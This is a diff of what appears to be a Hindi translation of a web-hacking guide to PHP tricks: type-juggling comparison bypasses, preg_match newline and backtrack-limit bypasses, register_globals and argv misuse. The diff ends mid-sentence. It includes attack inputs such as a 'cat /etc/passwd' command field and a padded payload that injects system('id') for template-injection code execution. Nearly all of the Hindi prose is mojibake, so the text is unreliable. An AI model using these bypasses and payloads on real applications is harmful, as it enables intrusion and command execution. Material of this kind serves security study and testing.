(рд╕реНрдЯреНрд░рд┐рдВрдЧ рдореЗрдВ рд╕рдВрдЦреНрдпрд╛рдПрдБ рд╕рдВрдЦреНрдпрд╛рдУрдВ рдХреЗ рд░реВрдк рдореЗрдВ рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдХреА рдЬрд╛рддреА рд╣реИрдВ) - `"0e3264578" == 0 --> True` рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЬреЛ "0e" рд╕реЗ рд╢реБрд░реВ рд╣реЛрддреА рд╣реИ рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рдХреБрдЫ рднреА рд╣реЛрддрд╛ рд╣реИ, рд╡рд╣ 0 рдХреЗ рдмрд░рд╛рдмрд░ рд╣реЛрдЧреА - `"0X3264578" == 0X --> True` рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЬреЛ "0" рд╕реЗ рд╢реБрд░реВ рд╣реЛрддреА рд╣реИ рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рдХреЛрдИ рднреА рдЕрдХреНрд╖рд░ (X рдХреЛрдИ рднреА рдЕрдХреНрд╖рд░ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ) рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рдХреБрдЫ рднреА рд╣реЛрддрд╛ рд╣реИ, рд╡рд╣ 0 рдХреЗ рдмрд░рд╛рдмрд░ рд╣реЛрдЧреА - `"0e12334" == "0" --> True` рдпрд╣ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЖрдк "0" рдХреЗ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЗрдирдкреБрдЯ рдФрд░ рдХреБрдЫ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд╣реИрд╢ рдХреА рдЬрд╛ рд░рд╣реА рд╣реИ рдФрд░ рдЗрд╕рдХреА рддреБрд▓рдирд╛ рдХреА рдЬрд╛ рд░рд╣реА рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк рдПрдХ рдРрд╕рд╛ рдорд╛рди рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ "0e" рд╕реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛ рд╣реИрд╢ рдмрдирд╛рдП рдФрд░ рдмрд┐рдирд╛ рдХрд┐рд╕реА рдЕрдХреНрд╖рд░ рдХреЗ, рддреЛ рдЖрдк рддреБрд▓рдирд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк рдЗрд╕ рдкреНрд░рд╛рд░реВрдк рдореЗрдВ **рдкрд╣рд▓реЗ рд╕реЗ рд╣реИрд╢ рдХреА рдЧрдИ рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕** рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) -- `"X" == 0 --> True` рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдореЗрдВ рдХреЛрдИ рднреА рдЕрдХреНрд╖рд░ int 0 рдХреЗ рдмрд░рд╛рдмрд░ рд╣реЛрддрд╛ рд╣реИ +- `"X" == 0 --> True` рд╕реНрдЯреНрд░рд┐рдВрдЧ рдореЗрдВ рдХреЛрдИ рднреА рдЕрдХреНрд╖рд░ int 0 рдХреЗ рдмрд░рд╛рдмрд░ рд╣реЛрддрд╛ рд╣реИ -рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) +рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) рдореЗрдВ рджреЗрдЦреЗрдВ ### **in_array()** -**рдЯрд╛рдЗрдк рдЬреБрдЧрд▓рд┐рдВрдЧ** рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `in_array()` рдлрд╝рдВрдХреНрд╢рди рдХреЛ рднреА рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддрд╛ рд╣реИ (рдЖрдкрдХреЛ рд╕рдЦреНрдд рддреБрд▓рдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреАрд╕рд░реЗ рддрд░реНрдХ рдХреЛ рд╕рддреНрдп рдкрд░ рд╕реЗрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛): +**рдЯрд╛рдЗрдк рдЬреБрдЧреНрд▓рд┐рдВрдЧ** рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `in_array()` рдлрд╝рдВрдХреНрд╢рди рдХреЛ рднреА рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддрд╛ рд╣реИ (рдЖрдкрдХреЛ рд╕рдЦреНрдд рддреБрд▓рдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреАрд╕рд░реЗ рддрд░реНрдХ рдХреЛ рд╕рддреНрдп рдкрд░ рд╕реЗрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛): ```php $values = array("apple","orange","pear","grape"); var_dump(in_array(0, $values)); @@ -62,15 +62,15 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real ``` `strcasecmp()` рдХреЗ рд╕рд╛рде рднреА рд╡рд╣реА рддреНрд░реБрдЯрд┐ рд╣реЛрддреА рд╣реИ -### рд╕рдЦреНрдд рдкреНрд░рдХрд╛рд░ рдЬреБрдЧрд▓рдмрдВрджреА +### рд╕рдЦреНрдд рдкреНрд░рдХрд╛рд░ рдЬреБрдЧрд▓рд┐рдВрдЧ -рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдпрджрд┐ `===` рдХрд╛ **рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ**, рддреЛ рдРрд╕реА рддреНрд░реБрдЯрд┐рдпрд╛рдБ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдЬреЛ **рддреБрд▓рдирд╛ рдХреЛ рдкреНрд░рдХрд╛рд░ рдЬреБрдЧрд▓рдмрдВрджреА рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓** рдмрдирд╛рддреА рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рддреБрд▓рдирд╛ **рддреБрд▓рдирд╛ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдбреЗрдЯрд╛ рдХреЛ рдПрдХ рдЕрд▓рдЧ рдкреНрд░рдХрд╛рд░ рдХреЗ рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░ рд░рд╣реА рд╣реИ**: +рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдпрджрд┐ `===` **рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ**, рддрдм рднреА рдРрд╕реА рддреНрд░реБрдЯрд┐рдпрд╛рдБ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдЬреЛ **рддреБрд▓рдирд╛ рдХреЛ рдкреНрд░рдХрд╛рд░ рдЬреБрдЧрд▓рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓** рдмрдирд╛ рджреЗрддреА рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рддреБрд▓рдирд╛ **рддреБрд▓рдирд╛ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдбреЗрдЯрд╛ рдХреЛ рдПрдХ рдЕрд▓рдЧ рдкреНрд░рдХрд╛рд░ рдХреА рд╡рд╕реНрддреБ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░ рд░рд╣реА рд╣реИ**: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` ### preg_match(/^.\*/) -**`preg_match()`** рдХрд╛ рдЙрдкрдпреЛрдЧ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ** рдХреЛ **рдорд╛рдиреНрдп** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рдпрд╣ **рдЬрд╛рдВрдЪрддрд╛** рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ **рд╢рдмреНрдж/regex** **рдмреНрд▓реИрдХрд▓рд┐рд╕реНрдЯ** рд╕реЗ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ** рдкрд░ **рдореМрдЬреВрдж** рд╣реИ рдФрд░ рдпрджрд┐ рдирд╣реАрдВ рд╣реИ, рддреЛ рдХреЛрдб рдЕрдкрдиреА рдХрд╛рд░реНрдпрд╡рд╛рд╣реА рдЬрд╛рд░реА рд░рдЦ рд╕рдХрддрд╛ рд╣реИ)ред +**`preg_match()`** рдХрд╛ рдЙрдкрдпреЛрдЧ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ** рдХреЛ **рдорд╛рдиреНрдп** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рдпрд╣ **рдЬрд╛рдВрдЪрддрд╛** рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ **рд╢рдмреНрдж/regex** **рдмреНрд▓реИрдХрд▓рд┐рд╕реНрдЯ** рд╕реЗ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ** рдореЗрдВ **рдореМрдЬреВрдж** рд╣реИ рдФрд░ рдпрджрд┐ рдирд╣реАрдВ рд╣реИ, рддреЛ рдХреЛрдб рдЕрдкрдиреА рдХрд╛рд░реНрдпрд╡рд╛рд╣реА рдЬрд╛рд░реА рд░рдЦ рд╕рдХрддрд╛ рд╣реИ)ред #### рдирдИ рдкрдВрдХреНрддрд┐ рдмрд╛рдпрдкрд╛рд╕ @@ -93,7 +93,7 @@ echo preg_match("/^.*1.*$/",$myinput); "cmd": "cat /etc/passwd" } ``` -рдпрд╣рд╛рдБ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдЦреЛрдЬреЗрдВ: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) +Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) #### **Length error bypass** @@ -112,15 +112,15 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf- рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ, рд╕рдорд╕реНрдпрд╛ рдЗрд╕ рдХрд╛рд░рдг рд╣реЛрддреА рд╣реИ рдХреНрдпреЛрдВрдХрд┐ PHP рдореЗрдВ `preg_*` рдлрд╝рдВрдХреНрд╢рди [PCRE рд▓рд╛рдЗрдмреНрд░реЗрд░реА](http://www.pcre.org/) рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реЛрддреЗ рд╣реИрдВред PCRE рдореЗрдВ рдХреБрдЫ рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХреЛ рдмрд╣реБрдд рд╕рд╛рд░реЗ рдкреБрдирд░рд╛рд╡реГрддреНрдд рдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдорд┐рд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдмрд╣реБрдд рдЕрдзрд┐рдХ рд╕реНрдЯреИрдХ рд╕реНрдкреЗрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐рдпреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рдХреА рдЧрдИ рдорд╛рддреНрд░рд╛ рдкрд░ рдПрдХ рд╕реАрдорд╛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рд▓реЗрдХрд┐рди PHP рдореЗрдВ рдпрд╣ рд╕реАрдорд╛ [рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) рд╣реЛрддреА рд╣реИ, рдЬреЛ рд╕реНрдЯреИрдХ рдореЗрдВ рдлрд┐рдЯ рд╣реЛрдиреЗ рд╕реЗ рдЕрдзрд┐рдХ рд╣реИред -[рдпрд╣ Stackoverflow рдереНрд░реЗрдб](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) рднреА рдЙрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рд▓рд┐рдВрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдЬрд╣рд╛рдБ рдЗрд╕ рдореБрджреНрджреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ рд╣реИред рд╣рдорд╛рд░рд╛ рдХрд╛рд░реНрдп рдЕрдм рд╕реНрдкрд╖реНрдЯ рдерд╛:\ +[рдпрд╣ Stackoverflow рдереНрд░реЗрдб](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) рднреА рдЙрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рд▓рд┐рдВрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдЬрд╣рд╛рдБ рдЗрд╕ рдореБрджреНрджреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ рдереАред рд╣рдорд╛рд░рд╛ рдХрд╛рд░реНрдп рдЕрдм рд╕реНрдкрд╖реНрдЯ рдерд╛:\ **рдПрдХ рдЗрдирдкреБрдЯ рднреЗрдЬреЗрдВ рдЬреЛ regex рдХреЛ 100_000+ рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐рдпреЛрдВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░реЗ, рдЬрд┐рд╕рд╕реЗ SIGSEGV рд╣реЛ, рдЬрд┐рд╕рд╕реЗ `preg_match()` рдлрд╝рдВрдХреНрд╢рди `false` рд▓реМрдЯрд╛рдП рдФрд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдпрд╣ рд╕реЛрдЪрдиреЗ рдкрд░ рдордЬрдмреВрд░ рдХрд░реЗ рдХрд┐ рд╣рдорд╛рд░рд╛ рдЗрдирдкреБрдЯ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдирд╣реАрдВ рд╣реИ, рдЕрдВрдд рдореЗрдВ рдкреЗ рд▓реЛрдб рдореЗрдВ рдХреБрдЫ рдРрд╕рд╛ рдлреЗрдВрдХрддреЗ рд╣реБрдП `{system()}` рдЬрд┐рд╕рд╕реЗ SSTI --> RCE --> рдзреНрд╡рдЬ :)**ред -рдЦреИрд░, regex рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, рд╣рдо рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ 100k "рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐рдпреЛрдВ" рдХреЛ рдирд╣реАрдВ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдмрд▓реНрдХрд┐ рд╣рдо "рдмреИрдХрдЯреНрд░реИрдХрд┐рдВрдЧ рд╕реНрдЯреЗрдкреНрд╕" рдХреА рдЧрд┐рдирддреА рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЬреЛ [PHP рджрд╕реНрддрд╛рд╡реЗрдЬрд╝](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) рдХреЗ рдЕрдиреБрд╕рд╛рд░ `pcre.backtrack_limit` рдЪрд░ рдореЗрдВ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ 1_000_000 (1M) рд╣реЛрддреА рд╣реИред\ +рдЦреИрд░, regex рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, рд╣рдо рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ 100k "рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐рдпреЛрдВ" рдХреЛ рдирд╣реАрдВ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдмрд▓реНрдХрд┐ рд╣рдо "рдмреИрдХрдЯреНрд░реИрдХрд┐рдВрдЧ рд╕реНрдЯреЗрдкреНрд╕" рдХреА рдЧрд┐рдирддреА рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЬреЛ [PHP рджрд╕реНрддрд╛рд╡реЗрдЬрд╝](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) рдХреЗ рдЕрдиреБрд╕рд╛рд░ `pcre.backtrack_limit` рдЪрд░ рдореЗрдВ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ 1_000_000 (1M) рд╣реЛрддрд╛ рд╣реИред\ рдЗрд╕ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП, `'X'*500_001` 1 рдорд┐рд▓рд┐рдпрди рдмреИрдХрдЯреНрд░реИрдХрд┐рдВрдЧ рд╕реНрдЯреЗрдкреНрд╕ (500k рдЖрдЧреЗ рдФрд░ 500k рдкреАрдЫреЗ) рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрдЧрд╛: ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` -### PHP рдУрдмреНрдлрд╝рд╕реНрдХреЗрд╢рди рдХреЗ рд▓рд┐рдП рдЯрд╛рдЗрдк рдЬрдВрдЧреНрд▓рд┐рдВрдЧ +### PHP рдУрдмреНрдлрд╝рд╕реНрдХреЗрд╢рди рдХреЗ рд▓рд┐рдП рдЯрд╛рдЗрдк рдЬреБрдЧрд▓рд┐рдВрдЧ ```php $obfs = "1"; //string "1" $obfs++; //int 2 @@ -153,16 +153,16 @@ Check: ## рдФрд░ рдЯреНрд░рд┐рдХреНрд╕ -- **register_globals**: **PHP < 4.1.1.1** рдореЗрдВ рдпрд╛ рдпрджрд┐ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ, рддреЛ **register_globals** рд╕рдХреНрд░рд┐рдп рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдпрд╛ рдЙрдирдХрд╛ рд╡реНрдпрд╡рд╣рд╛рд░ рдЕрдиреБрдХрд░рдг рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ)ред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╡реИрд╢реНрд╡рд┐рдХ рдЪрд░ рдЬреИрд╕реЗ $\_GET рдореЗрдВ рдпрджрд┐ рдЙрдирдХрд╛ рдорд╛рди рд╣реИ рдЬреИрд╕реЗ $\_GET\["param"]="1234", рддреЛ рдЖрдк рдЗрд╕реЗ **$param рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, HTTP рдкреИрд░рд╛рдореАрдЯрд░ рднреЗрдЬрдХрд░ рдЖрдк рдЙрди рдЪрд░ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ\*\* рдЬреЛ рдХреЛрдб рдХреЗ рднреАрддрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред -- **рдПрдХ рд╣реА рдбреЛрдореЗрди рдХреЗ PHPSESSION рдХреБрдХреАрдЬрд╝ рдПрдХ рд╣реА рд╕реНрдерд╛рди рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ**, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдПрдХ рдбреЛрдореЗрди рдореЗрдВ **рд╡рд┐рднрд┐рдиреНрди рдХреБрдХреАрдЬрд╝ рд╡рд┐рднрд┐рдиреНрди рдкрдереЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИрдВ** рддреЛ рдЖрдк рдЙрд╕ рдкрде рдХреЛ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ **рдЬреЛ рдХреБрдХреА рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рддрд╛ рд╣реИ** рджреВрд╕рд░реЗ рдкрде рдХреБрдХреА рдХреЗ рдорд╛рди рдХреЛ рд╕реЗрдЯ рдХрд░рдХреЗред\ -рдЗрд╕ рддрд░рд╣ рдпрджрд┐ **рджреЛрдиреЛрдВ рдкрде рдПрдХ рд╣реА рдирд╛рдо рдХреЗ рд╕рд╛рде рдПрдХ рдЪрд░ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рддреЗ рд╣реИрдВ** рддреЛ рдЖрдк **path1 рдореЗрдВ рдЙрд╕ рдЪрд░ рдХрд╛ рдорд╛рди path2 рдкрд░ рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред рдФрд░ рдлрд┐рд░ path2 path1 рдХреЗ рдЪрд░ рдХреЛ рдорд╛рдиреНрдп рдорд╛рди рд▓реЗрдЧрд╛ (рдХреБрдХреА рдХреЛ рдЙрд╕ рдирд╛рдо рдХреЗ рд╕рд╛рде рджреЗрдиреЗ рд╕реЗ рдЬреЛ path2 рдореЗрдВ рдЗрд╕рдХреЗ рд▓рд┐рдП рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ)ред -- рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ рдорд╢реАрди рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо** рд╣реЛрддреЗ рд╣реИрдВред рдкрддрд╛ рд▓рдЧрд╛рдПрдВ: **/\~\** рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ php рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ рд╕рдХреНрд░рд┐рдп рд╣реИрдВред -- рдпрджрд┐ рдПрдХ php рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдореЗрдВ **`register_argc_argv = On`** рд╣реИ рддреЛ рд╕реНрдкреЗрд╕ рджреНрд╡рд╛рд░рд╛ рдЕрд▓рдЧ рдХрд┐рдП рдЧрдП рдХреНрд╡реЗрд░реА рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ **`array_keys($_SERVER['argv'])`** рдХреЗ рддрд░реНрдХреЛрдВ рдХреЗ рдРрд░реЗ рдХреЛ рднрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреИрд╕реЗ рдХрд┐ рд╡реЗ **CLI рд╕реЗ рддрд░реНрдХ** рд╣реЛрдВред рдпрд╣ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ рд╡рд╣ **рд╕реЗрдЯрд┐рдВрдЧ рдмрдВрдж рд╣реИ**, рддреЛ **args рдРрд░реЗ рдХрд╛ рдорд╛рди `Null`** рд╣реЛрдЧрд╛ рдЬрдм рдЗрд╕реЗ рд╡реЗрдм рд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ ars arry рднрд░рд╛ рдирд╣реАрдВ рдЬрд╛рдПрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдПрдХ рд╡реЗрдм рдкреГрд╖реНрда рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рд╡реЗрдм рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓ рд░рд╣рд╛ рд╣реИ рдпрд╛ CLI рдЯреВрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рддреБрд▓рдирд╛ рдХреЗ рд╕рд╛рде рдЬреИрд╕реЗ `if (empty($_SERVER['argv'])) {` рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **GET рдЕрдиреБрд░реЛрдз рдореЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИ рдЬреИрд╕реЗ `?--configPath=/lalala`** рдФрд░ рдпрд╣ рд╕реЛрдЪреЗрдЧрд╛ рдХрд┐ рдпрд╣ CLI рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓ рд░рд╣рд╛ рд╣реИ рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЙрди рддрд░реНрдХреЛрдВ рдХреЛ рдкрд╛рд░реНрд╕ рдФрд░ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms) рдкрд░ рдЬрд╛рдПрдВред +- **register_globals**: **PHP < 4.1.1.1** рдореЗрдВ рдпрд╛ рдпрджрд┐ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ, рддреЛ **register_globals** рд╕рдХреНрд░рд┐рдп рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдпрд╛ рдЙрдирдХрд╛ рд╡реНрдпрд╡рд╣рд╛рд░ рдЕрдиреБрдХрд░рдг рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ)ред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╡реИрд╢реНрд╡рд┐рдХ рдЪрд░ рдЬреИрд╕реЗ $\_GET рдореЗрдВ рдпрджрд┐ рдЙрдирдХрд╛ рдорд╛рди рд╣реИ рдЬреИрд╕реЗ $\_GET\["param"]="1234", рдЖрдк рдЗрд╕реЗ **$param рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, HTTP рдкреИрд░рд╛рдореАрдЯрд░ рднреЗрдЬрдХрд░ рдЖрдк рдЙрди рдЪрд░ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдЬреЛ рдХреЛрдб рдХреЗ рднреАрддрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред +- **рдПрдХ рд╣реА рдбреЛрдореЗрди рдХреЗ PHPSESSION рдХреБрдХреАрдЬрд╝ рдПрдХ рд╣реА рд╕реНрдерд╛рди рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ**, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдПрдХ рдбреЛрдореЗрди рдореЗрдВ **рд╡рд┐рднрд┐рдиреНрди рдХреБрдХреАрдЬрд╝ рд╡рд┐рднрд┐рдиреНрди рдкрдереЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИрдВ** рддреЛ рдЖрдк рдЙрд╕ рдкрде рдХреЛ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ **рдЬреЛ рдХреБрдХреА рдХреЛ рдЙрд╕ рдкрде рдХрд╛ рдПрдХреНрд╕реЗрд╕ рдХрд░рддрд╛ рд╣реИ** рдЬреЛ рджреВрд╕рд░реЗ 